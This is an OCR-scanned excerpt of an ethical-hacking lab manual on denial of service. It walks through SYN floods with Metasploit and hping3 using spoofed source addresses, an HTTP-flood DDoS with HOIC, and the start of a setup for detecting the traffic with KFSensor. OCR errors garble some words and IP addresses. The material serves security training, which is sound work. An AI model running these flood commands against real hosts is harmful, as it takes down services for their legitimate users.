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Module 10 - Denialof-Service

Denial of Service

Denial of Service (DaS) is a type of attack on a computer or network that prevents
legitimate use of its resourees.

Lab Scenario

In computing, a denial-of-service (DoS) attack is an attempt to make a machine
or network resource unavailable to its intended users. Although the means,
motives, and targets of a DoS attack may vary, it generally consists of the efforts
of one or more people to temporarily or indefinitely interrupt or suspend services
of a host connected to the Internet.

Perpetrators of DoS attacks typically target sites or services hosted on high-
profile web servers such as banks, credit-card payment gateways, and even root
nameservers.

One common method of attack involves saturating the target machine with
external communications requests, so that it cannot respond to legitimate traffic,
or it responds so slowly as to be rendered essentially unavailable. Such attacks
usually lead to a setver ovetload. DoS attacks can essentially disable your
computer or your network. DoS attacks can be lucrative for criminals; recent
attacks have shown that DoS attacks are a way for cyber ctiminals to profit.

As an expert Ethical Hacker or Pen Tester, sound knowledge of Denial of Service
and Disttibuted Denial of Service attacks is must in order to detect and neutralize
attack handlers and mitigate such attacks. The labs in this module give a hands-
on experience in auditing a network against DoD and DDoS attacks.

Lab Objectives

The objective of this lab is to help students learn to perform Denial of Service
attacks and test a network for DoS flaws.

In this lab, you will:
= Perform a DoS attack by sending a large number of SYN packets
continuously

=  Perform a HTTP flooding attack
=  Perform a DDoS attack
= Detect and analyze DoS attack traffic
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Module 10 - Denialof-Service

Lab Environment

To complete this lab, you will need:
=  Window Server 2016 running in virtual machine
= Windows 10 running in virtual machine
=  Windows Setver 2012 running in virtual machine
=  Windows 8 running in virtual machine
=  Kali Linux running in virtual machine
= A web browser with Internet access

= Administrative privileges to run tools

Lab Duration

Time: 60 Minutes

Overview of Denial of Service

Denial of Service (DoS) is an attack on a computer or network that prevents
legitimate use of its resources. In a DoS$ attack, attackers flood a victim’s system

with illegitimate service requests or traffic to overload its resources and prevent
it from performing intended tasks.

Lab Tasks

Recommended labs to assist you in Denial of Setvice:
= SYN Flooding a Target Host using Metasploit
= SYN Flooding a Target Host using hping3
= Performing Distributed Denial of Service Attack using HOIC

® Detecting and Analyzing DoS Attack Traffic using KFSensor and
Wireshark

Lab Analysis
Analyze and document the tesults related to this lab exercise. Give your opinion of
your target’s security posture and exposure.

PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS
RELATED TO THIS LAB.
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Module 10 - Denialof-Service

SYN Flooding a Target Host using
Metasploit

A SYN flood is a_form of denial-of-service attack in which an attacker sends a
succession of SYIN requests to a target machine in an attempt to exhaust its resources
and make it unresponsive to legitimate incomiing traffic.

Lab Scenario

DoS attacks are a kind of secutity break that does not generally result in the theft of
information. However, these attacks can harm the target in terms of time and
resources. On the other hand, failure might mean the loss of a service such as email.
In a worst-case scenatio, 2 DoS attack can mean the accidental destruction of the files
and programs of millions of people who happen to be surfing the Web at the time of
the attack.

Though the chances of successful SYN flooding are fewer because of advanced
networking devices and traffic control mechanisms, attackers can launch SYN
flooding attacks easily using a packet-crafting tool. As an ethical hacker or pen tester,
you must assess your network resources for a SYN flooding attack.

Lab Objectives
The objective is to help students understand how to:

= Spoof IP Address of the Attacker Machine
= Perform SYN Flooding on the Target Machine

Lab Environment

To petform this lab, you need:
=  Windows Server 2016 machine
= Kali Linux virtual machine
= Windows 10 virtual machine
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Wireshark located at Z:\CEH-Tools\CEHv10 Module 10 Denialof-
Service\Wireshark

The latest version of Wireshatk can be available at
https:/www.wireshark.org/download.html

Administrative Privileges to run the tools
If you decide to download the latest tools, screenshots might differ

Lab Duration

Time: 15 Minutes
Overview of the Lab

A TCP Session establishes a connection using a three-way handshake mechanism.
The source sends a SYN packet to the destination. The destination, on receiving the
SYN packet, responds by sending 2 SYN/ACK packet back to the source. This
SYN/ACK packet confirms the attival of the first SYN packet to the source. In
conclusion, the source sends an ACK packet for the ACK/SYN packet sent by the
destination. In a SYN attack, the attacker exploits the three-way handshake method.
First, the attacker sends a fake TCP SYN request to the target server, and when the
server sends a SYN/ACK in response to the client (attacker) request, the client never
sends an ACK response. This leaves the server waiting to complete the connection.

Lab Tasks

Note: Before beginning this lab, log on to the Windows 10 virtual machine
and ensure that the firewall is turned off.

1.
2

Log into the Kali Linux virtual machine.

In this lab, we are going to perform SYN flooding on the Windows 10
machine through port 21.

So, let us determine whether port 21 is open or not. We shall be using
Nmap to determine state of the port.

Type the command nmap -p 21 [IP Address of Windows 10] and press
Enter.

Note: The IP address of Windows 10 used in this lab is 10.10.10.10, which
might vary in your lab environment.
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5. 'The result returned by Nmap states that the port is open.

root@kali: ~ e 0 o

File Edit View Search Terminal Help
:~# nmap -p 21 10.10.10.10

>tarting Nmap 7.60 ( https://nmap.org ) at 2017-11-03 03:22 EDT
imap scan report for 10.10.10.106
fost is up (0.00043s latency).

PORT STATE SERVICE
21/tcp open ftp
1AC Address: 00:15:5D:00:39:03 (Microsoft)

imap done:

1 IP address (1 host up) scanned in 0.61 seconds

FIGURE 1.1: Checking for Open Port
Note: If the port turns out to be closed, look for the other open potts using
Nmap.
6. Now that the result stating the port is open, perform SYN flooding on
the victim machine (Windows 8) using port 21.

7. In this lab, use an auxiliary module named synflood to perform DoS
attack on the machine. l.aunch this module from msfconsole.

Brasi » 8. Type msfconsole from a command-line terminal, and press Enter to
launch msfconsole.
Perform g
DoS Attack root@Kkali: ~ e 00
File Edit View Search Terminal Help
:~# msfconsole

sploit Park,

n 4.0.5, Al

- access security

ess: PERMISSION DENIED.
> access security grid
access: PERMISSION DENIED.
> access main security grid
access: PERMISSION DENIED....and...
[ 1 f 1
[ 1682 exploits - 964 auxiliary - 297 post ]
[ 498 payloads - 40 encoders - 10 nops ]
=[ Free Metasploit Pro tria http://r-7.co/trymsp ]
FIGURE 1.2: Launching msfconsole
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9. Type the command use auxiliary/dosi/tcp/synflood and press Enter.

File Edit View Search Terminal Help
> use auxiliary/dos/tcp/synflood
auxiliary( )} >

root@kali: ~ e 0 OW

FIGURE 1.3: Using the Auxilary Module

10. 'This launches the synflood module.

11. Let us determine which module options need to be configured to begin

the DoS attack.

12. So, type show options and press Enter. This displays all the options
associated with the auxiliary module.

File Edit View Search Terminal Help

auxiliary/dos/tcp/synflood
iary( ) >/show options

fodule options iliary/dos/tcp/synflood):

root@kali: ~ e 0o 01

Name Current Setting Required Description

INTERFACE The

name of the interface

NUM Number of SYNs to send (else unlimited)

RHOST The
RPORT S The
SHOST The
SNAPLEN 3 The
SPORT The
TIMEOUT 3 es The

isf auxiliary(

target address

target port

spoofable source address (else randomizes)
number ¢

source port (else rando )

number of seconds to wait for new data

FIGURE 1.4: Viewing Options

13. Here, SYN flooding on port 4444 of the Windows 10 machine will be
petformed by spoofing the IP Address of Kali Linux with that of the

Windows Server 2016 machine.
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14. Issue the following commands:
2. set RHOST [IP Address of Windows 10]
b. set RPORT 21
c. set SHOST [IP Address of Windows Server 2016]
root@kall: ~ 06 01

File Edit View Search Terminal Help

nflood
options

fodule options

Name Current equi Description

The name
Number of S unlimited)

lse random
The number
The source p
TIMEOUT The number c 3 wai r new data

nsf auxiliary( >|/set RHOST 18.18.10.10
R 16.16.16.10
iliary( RPORT 21

0ST 10.16.16.
10.10.10.16
iliar

FIGURE 1.5: Configuring Options

s
U

5. By setting the SHOST option to [IP Address of Windows Server 2016],
you are spoofing the IP Address of Kali Linux machine with that of
Windows Server 2016.

16. Once the auxiliary module is configured by setting the required options,
start the DoS attack on Windows 10 machine.

17. To begin, type exploit and press Enter.

set RHOST 10.10.10.16

set RPORT 21

f auxiliary( ) set SHOST 10.10.10.16
SHOST 10.160.10.16

auxiliary ) exploit

SYN flooding 10.10.10.10:21...

FIGURE 1.6: Initiating DoS Attack
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18. This begins the syn flooding on the Windows 10 machine.

Brask 3 19. To confitm, switch to the Windows 10 machine, launch the Wireshark
application, select an interface, and click Start.

Examine the
DoS Attack Y
Ticsis o sactar il <toif> |~ D
Capture
g th frer: [ [oter s captrs it =] e
Ehemet T
FIGURE 1.7: Capturing Traffic through Wireshark

20. Wireshark displays the traffic coming from the machine, as shown in the

screenshot:
Capturng from Ethemet T
Fie Edt View Go Copture Anshyze Siatistics Telephony Wireless Tocks  Help
a9 DREQesTTLESEQQQAH 3
Aoy ¢ deglay fite__aCtrly = =
Source Destnaten ~
10.10.19.15 <@ Wine3653 Len<@ ]
v
>
> Frame 1: S& bytes on wire (432 bits), 54 aytes captured (432 bits) on interface @
> Cthernet 11, Src: Microsof_09:39:95 (00:15:5d:09:39:85), Dst: Microsof_009:39:03 (€0:15:5d:09:39:93)
? Internet Protocol Version 4, Src: 10,10.19.16, Dst: 16.16.10.19
P
jeooe 0 15 5d 09 39 91 90 15 3d 9@ IS 85 e 45 08
20 0 b0 o5 38 00 15 ba 1a 72 12 00 00 60 00 50 02
F}SE eF13717d00 e &
FIGURE 1.8: Analyzing the Traffic

21. Here, you can observe that the source IP address is that of the Windows
Server 2016 machine. This implies that the IP Address of Kali Linux has
been spoofed.

22. Now, open Task Manager in the machine, and click Performance tab.
Wait for 10-15 seconds; you will observe that the CPU usage has
increased drastically, which implies that the DoS attack is in progress on
the machine. If the attack is continued for some time, the machine’s
resources would be completely exhausted, and it will stop responding.

CEH Lab Manual Page 948 Ethical Hacking and Countermeasures Copyright © by EC-Councll

All Rights Reserved. Reproduction is Strictly Prohibited.



Module 10 - Denialof-Service

ol Tark Manager - n X

¢ g hidory Startup s Dutaib Services

Ethernet
0.0 F: 1.3 Mbps

aarrun 209 G

82%  3.09GHz

hresd et
69 1067 33042 ' e
0:03:02:14

Fuvser detals 1) Open Riesourcw Meitun

FIGURE 1.9: Analyzing the Machine’s Performance

23. Once the performance analysis of the machine is done, switch to the Kali
Linux machine and press Ctri+C to terminate the attack.

liary( set RHOST 10.160.10.16
10.10.16.18
l v > set RPORT 21

> set SHOST 10.10.10.16

) > exploit

SYN flooding 10.10.16
Auxiliary i

FIGURE 1.10: Terminating the Attack

24. Thus, you have successfully spoofed the IP addtess and performed the
DoS attack on the victim machine.

Lab Analysis
Analyze and document the results related to this lab exercise. Give your opinion about
the target’s security posture and exposute.

PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS
RELATED TO THIS LAB.

O Yes ¥ No
Platform Supported
Classroom iLabs
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Module 10 - Denialof-Service

SYN Flooding a Target Host using
hping3

hping3 is a command-line oriented TCP/ IP packet assembler/ analyzer.
Lab Scenario

A SYN flood is a form of denial-of-setvice attack in which an attacker sends a
succession of SYN requests to the target's system to consume enough server
resources to make the system unresponsive to legitimate traffic.

A SYN flood attack works by not responding to the server with the expected
ACK code. The malicious client can either not send the expected ACK, or spoof
the source IP address in the SYN, causing the server to send the SYN-ACK to a
falsified IP address—which will not send an ACK because it "knows" that it
never sent 2 SYN. The server will wait for the acknowledgement for some time,
as simple network congestion could also be the cause of the missing ACK, but in
an attack increasingly large numbers of half-open connections will bind resources
on the setver until no new connections is be made, resulting in a denial of service
to legitimate traffic. Some systems may also malfunction badly or even crash if
other operating system functions are starved of resources in this way.

As an expert Ethical Hacker or Secutity Administrator of an organization, you
should have sound knowledge of DoS and DDoS attacks and should be able to
detect and neutralize attack handlets. You should use SYN cookies as a
countermeasure against the SYN flood, which eliminates the resources, allocated
on the target host.

Lab Objectives

The objective of this lab is to help students learn to perform DoS attacks and test
the network for DoS flaws.

In this lab, you will:
® Perform DoS attacks

= Send huge amount of SYN packets continuously
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Module 10 - Denialof-Service

Lab Environment

["~7 Tools
demonstratedin 1, complete this lab, you will need:
this lab are
available at =  Windows 10 as the victim machine
Z:\CEH- o " ; ¢
Tools\CEMV10 = Kali Linux virtual machine as the attacker machine
Module 10 Denial- =  Wireshark is located at Z:\CEH-Tools\CEHv10 Module 10 Denial-of-
of-Service Service\Wireshark
Lab Duration
Time: 5 Minutes

Overview of hping3
hping3 is a network tool able to send custom TCP/IP packets and to display target
replies in the same way that a ping program does with ICMP replies. hping3 handles

fragmentation, arbitrary packets’ body and size, and can be used to transfer files
encapsulated under supported protocols.

Lab Tasks
1. Before beginning this lab, log in to the Windows 10 virtual machine and keep

H task 1

the machine intact.
Perform SYN . ¢ "
Ficoiling usleg Login to the Kali Linux virtual machine.
hping3 3. Taunch the hingp3 utility from the Kali Linux Applications menu.
4. To launch, go to Applications > 01 - Information Gathering > Live

Host Identification = hping3.

LL] hping3 isa

command-line oriented

TCP/1P packet

assembler/analyzer.

2] Type only hping3
without any argument. If
hping3 was compiled with
"Il scripting capabilitics,
you should see a prompt.

Figure 2.1: Launching hping3 from Kali Linux Menu
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m First, type a simple
command and see the
result: #hping3.0.0-alpha-
1> hping resolve
www.google.com
66.102.9.104.

m ‘The hping3
command should be called
with a subcommand as a
first argument and
additional arguments
according to the particular
subcommand.

Module 10 - Denialof-Service

5. 'The hping3 utility starts in command shell as shown in the screenshot:

)

root@kali: ~

File Edit View Search Terminal Help

RST flag

PUSH flag

ACK flag

URG flag

set X unused flag (06x40)

set Y unused flag (©0x80)

use last tcp->th flags as exit code

enable the TCP MSS option with the given value

set
set
set
set

tcpexitcode
--tcp-mss
tcp-timestamp
_ommon
d

enable the TCP timestamp option to guess the HZ/uptime

data
--file

sign
--dump

print
--safe

end
--traceroute

tr-stop

data
data
add

size (default is 0)
from file
signature'
dump packets in hex
dump printable characters
enable 'safe’' protocol
tell you when file reached EOF and prevent rewind
traceroute mode (implies - nd and --ttl 1)
Exit when receive the first not ICMP in traceroute mode
--tr-keep-ttl Keep the source TTL fixed, useful to monitor just one hop
tr-no-rtt Don't calculate/show RTT information in traceroute mode
ARS packet description (new, unstable)
apd-send Send the packet described with APD (see docs/APD.txt)
i ~#

FIGURE 2.2: Kali Linux Command Shell with hping3

6. In command shell, type hping3 -S [IP Address of Windows 10] -a
10.10.10.11 -p 22 --flood and press Enter.

Note: In this lab, the IP Address of Windows 10 (victim) machine is
10.10.10.10; this might vary in your lab environment.

10.10.10.11 refers to the IP address of the attacker machine i.e., Kali Linux; and
the IP Address of this machine might vary in your lab environment.

root@kali: ~

e e 0
File Edit View Search Terminal

# hping3 -S

Help
10.10.10.10

-a 10.10.10.11 22 --flood}

-p

FIGURE 23: Launching flooding attack using hping3

7. 'This initiates the SYN flooding on Windows 10.

root@kali: ~

File Edit View Search Terminal Help

:~# hping3 -S 10.10.10.10 -a 10.16.10.11
HPING 10.10.10.10 (ethe 16.10.10.10): S set
ping in flood mode, no replies will be sh

22

P Tlood
40 headers + 0 data bytes

FIGURE 2.4: Attack successfully hunched from Kali Linux

8. Hping3 floods the victim machine by sending bulk SYN packets and
overloading victim resoutces.
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9. Switch to the victim’s machine (Windows 10). Install and launch Wireshark,
select an interface, and statt capturing,

10. You will obsetve that the application captures traffic, as shown in the
screenshot:

Capturing from Ethemet - E x
Fic Edt View Go Coptwre Anshyoe Satistics Telephony Wireless Took Help
BAe DREQRes=TizEQaan
Thopiy s digiey e . <Cuif> =3 - Bxpressien
. Protocel  Length Infa
m hping3 was mainly 10.00600€  16.18.13.11 16.10.10.18 o [SYN] Seqe@ Wine512 Len=a
used as a security tool in
the past. It can be used in
many ways by people who
don't care for security to
test networks and hosts. A
subset of the things you
can do using hping3:

* Firewall testing

ol

* Advanced port scanning

* Network testing, using
various protocols, TOS,

fragmentation

il MTU  Frame 1: 54 bytes on wire (432 bits), 54 bytes captured (432 bits) on interfece §
N.l ek o Etheenet TT, Sec: Microsof 63:30:85 (83:15:54:09:30:05), Dst: Microsof_63:30:03 (88:15:54:99:30:03)
discovery ) Internet Pretocol Version 4, Src: 10.19.19.11, Dst: 10.18.10.13
> Transwission Control Protocol, Src Port: 11589, Dst Port: 22, Seq: 9, Len: @

i K g
undaa]]ﬂgmpporwd S5 60 15 54 60 30 03 06 15 54 06 30 95 68 60 45 0B
protocols i e msar e e eI ey e
DAL 82 80 99 19 09 96
* Remote OS
fingerprinting | YA e——— m
*“Remoti apme gucing FIGURE 2.5: Wireshark with Packets Traffic
= TCP/IP stacks auditin, . .. :
# 11. You sent huge number of SYN packets, which caused the victim’s machine
to crash.
Document the results gathered during this lab.
PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS
RELATED TO THIS LAB.
Intemet Connection Required
[ Yes No
Platform Supported
M Classroom iLabs
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Module 10 - Denialof-Service

Performing Distributed Denial of
Service Attack Using HOIC

A distributed denial of serviee (DDoS) attack involves a group of compromised
Systems usually infected with Trojans used to perform a DaS' attack on a target system
or network.

Lab Scenario

A distributed denial of service (DDoS) attack is a mote sophisticated form of DoS
attack in which, in some cases, it is difficult to trace the attackers. A DDoS attack is a
large-scale, coordinated attack on the availability of services on a victim’s system of
network, launched indirectly through many compromised computers on the Internet.

A DDoS attack uses many computers to launch a coordinated DoS attack against one
or more targets. Using client/server technology, the perpetrator is able to multiply the
effectiveness of the DoS significantly by harnessing the resources of multiple
unwitting accomplice computers, which setve as attack platforms. The flood of
incoming messages essentially forces the target system to shut down, thereby denying
service to legitimate users.

These attacks come from vatious machines that can be in the same location or vatious
other locations. As latge numbers of “zombies” patticipate in this attack, an enormous
amount of tmffic is directed onto the victim machine, resulting in temporary or
permanent damage of its resources.

Asan expert Ethical Hacker and Penetration Tester, you must be aware of all types
of Do$ attempts and prevent them from affecting information systems.

Lab Objectives

The objective of this lab is to help students learn how to perform a DDoS
attack—in this case, HTTP Flooding.
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Lab Environment
To complete this lab, you will need:

"7 Tools

demonstrated in R
this lab are

available in

Z:\CEH-

Tools\CEHv10

Module 10 Denial- n
of-Service

HOIC tool located at Z:ACEH-Tools\CEHv10 Module 10 Denial-of-
Service\DoS and DDoS Attack Tools\High Orbit lon Cannon (HOIC)

You can download the latest version of HOIC from the link
httpJ/sourceforge.net/projects/highorbitioncannon/

If you decide to download the latest version, then screenshots shown in
the lab might differ

Windows Server 2012, Windows 10 and Windows 8 virtual machines as
attacker machines

Kali Linux virtual machine as target machine

Administrative privileges to run tools

Lab Duration
Time: 20 Minutes

Overview of HOIC

“High Orbit Ion Cannon” or HOIC for short is a network stress testing tool for
launching DDoS attacks. HOIC causes DoS through the use of HTTP floods. HOIC
has a built-in scripting system that accepts .hoic files called “boosters,” allowing a user
to implement some anti-DDoS randomization countermeasures, as well as increase

the magnitude of the attack.
Lab Tasks
B task 1 1. Before beginning this lab, log into the Windows 10, Windows Server 2012,
e Windows 8, and Kali-Linux virtual machines.
Login to
Virtual Machines 2. In the Windows 8 virtual machine, navigate to ZACEH-Tools\CEHv10 Module

10 Denial-of-Service\DoS and DDoS Attack Tools and copy the High Orbit
lon Cannon (HOIC) folder onto the Desktop.

Note: To perform the DDoS attack, run this tool from various virtual machines
at once. So, when you run the tool directly from Z: (in virtual machines at a time),
errors might occur. To avoid errors, copy the folder High Orbit lon Cannon
(HOIC) individually onto each machine, and then run the tool.

3. Similatly, follow the previous step and copy the High Orbit lon Cannon

(HOIC) folder onto the other virtual machines’ respective Desktops.
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E task 2

Configure HOIC

Module 10 - Denialof-Service

4. Now, switch to the Window 10 virtual machine.

5. Navigate to the Desktop, open High Orbit lon Cannon (HOIC), and double-

click hoic2.1.exe.

6. HOIC GUI appears on the screen, click “+” (below TARGETS).

FLOULC. [v2.1.003 | Trath iz on the zide of the oppreszed.

HIGH ORBIT ION CANNON

STANDING BY

FIRE TEH LAZER!

FIGURE3.1: HOIC GUI

THREADS

Booster

IN GEOSYNCHONOUS ORBIT

OUTPUT TARGETS

0 bytes + -

249 CANNONS DETEICTID

7. 'The HOIC - [Target] pop-up appears. Type the target URL http:/[IP Address
of the target machine] in the URL field, slide the power bat to High, select
GenericBoost.hoic booster from the drop-down list, and click Add.

Note: The IP address entered in this lab is that of the Kali-Iinux virtual machine

and might differ in your lab envitonment.

Bl H.0.\.C. - [Target]
Target
URL

X

(http://10.10.10.11

)

Power

(

)

Low Medium

High

Booster (leave blank unless u know what ur doing)

[GenericBoost.hoic

3

FIGURE 32: HOIC - [Target] popup
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8. Set the THREADS value to 20 by clicking the > button until the value is
reached.

B =.0.1.C. | v2.1.003 | Truth is on the sde of the oppressed. X

IN GEOSYNCHONOUS ORBIT

Booster
st

HIGH ORBIT ION CANNON o
STANDING BY THREADS TARGETS

FIRE TEH LAZER! E 2 i A
249 CANNONS DETECTED
FIGURE 3.3 Setting the THREADS value

9. Now, switch to Windows Server 2012 and Windows 8 virtual machine and
follow the steps 5-8 to launch HOIC and configure it.

B ks % 10. Once HOIC is configured on all the machines, switch to each machine and
click FIRE TEH LAZERL

Perform
LO.LC. |v2.1003 | Truth is on the side of the cppressed. X
Dms A“xk IN GEOSYNCHONOUS ORBIT
Booster
GenencBoosthe
SnomGBY OUTPUT  TARGETS
FIRE TEH LAZER! s Eone
249 CANNONS DETECTID
FIGURE 34: Performing DDoS attack
11. This initiates the DDoS attack on the target Kali Linux machine.
12. Switch to the Kali Linux virtual machine, and launch the command-line
terminal.
13. Type wireshark in the terminal, and press Enter.
root@Kkali: ~ e ® O
File Edit View Search Terminal Help
FIGURE: 3.5: Launching Wireshark
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14. If an Error pop-up appears, click OK.

Wireshark

Lua: Error during loading:
[string "/usr/share/wireshark/init.lua"]:44: dofile has been

disabled due to running Wireshark as superuser. See https://
wiki.wireshark.org/CaptureSetup/CapturePrivileges for help in
running Wireshark as an unprivileged user.

=)

FIGURE 3.6: Ertor popup
15. The Wireshark GUI appears; select a network interface and click Start.

"The Wireshark Network Anatyzer
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
?_.‘1‘\\’_@‘_, D["\"S'("Z Q « » ) &« » =

N [Apply a display filter .. <Ctrl-/>

Capture

..using this filter: | W |Enter a capture filter ...

- | Allinterfaces shown ~

any

Loopback: lo

nflog

nfqueue

‘@ Cisco remote capture: cisco

@ Random packet generator:

Learn

User's Guide - WIiki - Questions and Answers - Mailing Lists
You are running Wireshark 2.4.1 (Git Rev Unknown from unknown).

L.2__Ready to load or capture No Packets Profie: Defautt
FIGURE 3.7: Starting Wireshark Capture
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16. Observe that Wireshark starts capturing a large volume of packets, which
means the machine is expetiencing a huge number of incoming packets.
These packets are coming from the Windows Server 2012, Windows 10, and
Windows 8 virtual machines.

Flle Eot Vew Go Capture Analyze Statistics Telephony Wreless lools Help

Capturing from cthd ) 1

RE Q o« Jew - = @ Q Q

==

3 -| Expressicn_

Protocol
cP

b

56 52343

a6 7345 -
7 0-016140016 | 1610101 0:20.10.11 & a6 52350 - 50 EC: c] s..-.u Win-0s
5 0-036279510 | 20-10-20.22 9:30,10.11 oF 88 52351~ 6 , C] se-n Win-os
10 0 1 TCP 54 86 — 5235 ; 1 WL

15 8.16157516 g 5 .18.18.11

Frame 1: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) on interface @ L
b Ethernot IT, Src; Microsof_60:39:92 {99:15:5d:60:39:82), Dst: Microsof_B:30:05 (86:15:5d:09:30:05)
» Internct Protocol Version 4, 18.186.1 18.18.11 ) 3
Transmission Contral Fratacol, i %2347, Pst A9

@6 15 5d 60 35 b5 88 15 5d 00 39 B2 88 66 45 62
©@ 34 7c T 4D 0D 80 @6 S5 95 Oa 0a Ga 6c 0a Oa
Ga @b cc 7b 8D 58 16 38 a9 2 DD PO 86 66 46 c2

ethd slive capture ) pragress

FIGURE 38: Witeshark Captunng the Packets

17. Leave the machine intact for 5-10 minutes, and then open it again. You will
observe that the performance of the machine is slightly affected, and its
response slowing down.

18. In this lab, only three machines are demonstrated flooding a single machine.
If there are a large number of machines performing flooding, then the target
Kali Linux machine’s resources are completely consumed and the machine is
overwhelmed.

19. In real time, a group of hackers operating hundreds or thousands of machines
configure this tool on their machines, communicate with each other through
IRCs, and simulate the DDoS attack by flooding a target machine/ website at
the same time. The target is overwhelmed and stops responding to user
requests or starts dropping packets coming from legitimate users. The larger
the number of attacker machines, the higher the impact of the attack on the
target machine/website.

20. On completion of the lab, click FIRE TEH LAZER! again, and then close the
HOIC window in all the attacker virtual machines. Also, close the Witeshark
window in Kali Linux.
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Lab Analysis

Analyze and document the results related to this lab exercise.

PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS
RELATED TO THIS LAB.

Internet Connection Required

[ Yes M No
Platform Supported
M Classroom M iLabs
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[7=7 Valuable
information

A Test your
knowledge

B Web exrcise

D Workbook review

Module 10 - Denialof-Service

Detecting and Analyzing DoS
Attack Traffic using KFSensor and
Wireshark

KFSensor is a Network Intrusion Detection Tool that is equipped with several
mechanisms to connter DOS attacks. The tool allows you to determiine the maximum
number of connections to the machine per IP address.

Lab Scenario

KFSensor is a Windows-based honeypot Intrusion Detection System (IDS). It acts as
a honeypot to attract and detect hackers and worms by simulating vulnerable system
services and Trojans. By acting as a decoy server, it can divert attacks from critical
systems and provides a higher level of information than firewalls and NIDS alone.

KFSensor is designed for use in a Windows-based corporate environment and
contains many innovative and unique features such as remote management, a Snort
compatible signature engine and emulations of Windows networking protocols. As
an ethical hacker or security administrator, you can use KFSensor to audit your
network infrastructure against DoS attacks.

Lab Objectives

The objective of this lab is to help students understand how to:
= Detect DoS attack using KFSensor
=  Examine the incoming packet dump using Wireshark

Lab Environment

To perform this lab, you will need:
=  Windows Server 2016 machine
= Kali Linux virtual machine
=  Windows 10 virtual machine
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=  KFSensor located at ZACEH-Tools\CEHv10 Module 10 Denial-of-
Service\Honeypot Tools\KFSensor

= The latest version of KFSensor can be available at
httpz//www.keyfocus.net/kfsensor/download

= Wireshark located at Z\CEH-Tools\CEHv10 Module 10 Denial-of-
Service\Wireshark

= The latest version of Wireshark can be available at
https:/www.wireshark.org/download.html

= Administrative Privileges to run the tools

= If you decide to download the latest tools, screenshots might differ

Lab Duration
Time: 20 Minutes

Overview of the Lab

KFSensor's rule base signature engine canidentify known attack patterns, which helps
in analyzing the nature of an event. It contains a Windows networking/
NetBIOS/SMB/CIFS emulation honeypot. This unique feature enables it to detect
the nature of attacks on file shares and Windows administrative services, currently the
most prevalent and damaging on the Internet.

This lab demonstrates the process of DoS attack detection. Hete, we will first search
for an open port on the target machine (here, Windows 10) and perform DoS attack
through an open pott on the machine. Later, we will use KFSensor to detect the
attack, and then examine the packets that were logged by KFSensor.

Lab Tasks
Note: Launch the Windows 10 and Kali Linux virtual machines before
beginning this lab.
Eiradic 4 1. In Windows 10 virtual machine, navigate to Z:\CEH-Tools\CEHv10
Module 10 Denial-of-Service\Honeypot Tools\KFSensor and double-
mgtal click kfsens40.msi.
KFSensor

2. If a User Account Control pop-up appears, click Yes.
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3. 'The KFSensor Evaluation Setup window appeats; follow the wizard-
driven installation steps to install the application.

18 KFSensor Evaluation Setup - X

Welcome to the KFSensor Evaluation
Setup Wizard

The Setup Wizard will install KFSensor Evaluation on your
computer. Click Next to continue or Cancel to exit the Setup
Wizard.

FIGURE 4.1: KFSensor setup Window

4. Completed the KFSensor Evaluation Setup wizard appeats, uncheck
Launch KFSensor option and click Finish.

Completed the KFSensor Evaluation
Setup Wizard

Click the Finish button to exit the Setup Wizard.

[[JLaunch KFSensor

FIGURE 4.2: KFSensor Evaluation Setup window
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Configure
KFSensor

Module 10 - Denialof-Service

5. Launch KFSensor as Administrator, navigate to Start > KFSensor and
right-click on KFSensor > More = Run as administrator as shown in

the screenshot.

Wirdows Serves

Server Manager  Power$ PowerShell IS8

H
& B
Windowrs
Administrativ...

File Explores

43 Pin to Start
L >
el 43 Pin to taskbar

Uninstal
Run as a different user

FIGURE 4.3: Launching KFSensor as an Administrator
6. If the User Account Control pop-up appears, click Yes.

7. When the application is being launched for the first time, the KFSensor
Set Up Wizard window appears; click Cancel button.

iSet Up Wizard X‘

The KFSensor Set Up Wizard will take you through
a number of steps to configure you system,

All of these can configurations can be modified later
using the menu options.

You might Bke to read the manual at this point to leam
how KFSensor works and the concepts behind it

Getting Started

For help on the options in the Set Up Wizard,
Wizard Help

FIGURE 4.4: KFSensor Set Up Wizard window
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8. In the KFSensor application window, click Settings from the menu-bar
and click Set Up Wizard... as shown in the screenshot:

E KFSensor Professional - Evaluation Trial - o X
File View Scenario _Signatures Help S
S B Q[ R |3t oosasacksettngs. TR MR
m Network Protocol Analyzer... iraton Pro.. Sens.. Name Visitor
- TCPD —_— Server Settings... 0000 UDP 138 NET Datagram.. WIN-25QPFKS
o 0 Close o 95136 TCP 1665 TCP Connection fonts.google
8 1 portone EMail Alerts... 409y
gur AR 0000 UDP 67 DHCP
0859 WAN 3382 Logon
: Q 5 SMTP Event Log Alerts,
3 53 DNS a 0000 TCP 1433 SQL Server waner.goodsh
& Extemal Alerts... 0000 UDP 138 NBT Datagram... www.goodshi
4 63 DHCP
B WS Eror L aEalSeaT CEAg oI 0000 UDP 138 NBT Datagram... WIN-KIZRNHS
8 1o ror3 0000 UDP 138 NBT Datagram,.. DESKTOP-Aj8
8 112 NNTP Log Path... 0000 UDP 138 NBT Datagram... WINDOWSS
B Log Database... 0125 TCP 1433 SOL Server wnr.goodshi
g 139 NBT Session ... 5 0016 TCP 1433 SQL Server weniy.goodshi
. 4 399 1nAP . Y Cusoffiik 0oz TCP 1433 SQL Server WIN-KITRNHS
Change Event Colors...
Name Value
FIGURE 4.5: Launching KFSensor Set Up Wizard...
9. 'The KFSensor Set Up Wizard appears; click Next button.
Set Up Wizard X
The KFSensor Set Up Wizard will take you through
a number of steps to configure you system.
All of these can configurations can be modified later
You might like to read the manual at this point to leam
how KFSensor works and the concepts behind it.
Getting Started
For help on the options in the Set Up Wizard.
| Waard Hep |
<Back [ Net> ]| Cancel

FIGURE 4.6: KFSensor Set Up Wizard window
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10. In the Set Up Wizard - Port Classes window, check all the port classes
to include, and click Next.

Up Wizard - Port Classes X

Port classes to include:

[iTrojans and worms

Linux (services not usually in Windows)
[MWindows Intemet Services

M Windows Server

[Z] Windows Workstation

[MWindows Applications

KFSensor can detect intrusions on many many different ports

and simulate different types of services.

These ports are grouped by class.

Checked classes will be added to the scenario.

Unchecked classes will be removed the scenario. Fi o
Wizard Help |

<Back [ Net> |  Cancel |

FIGURE 4.7: Port Classes Wizard

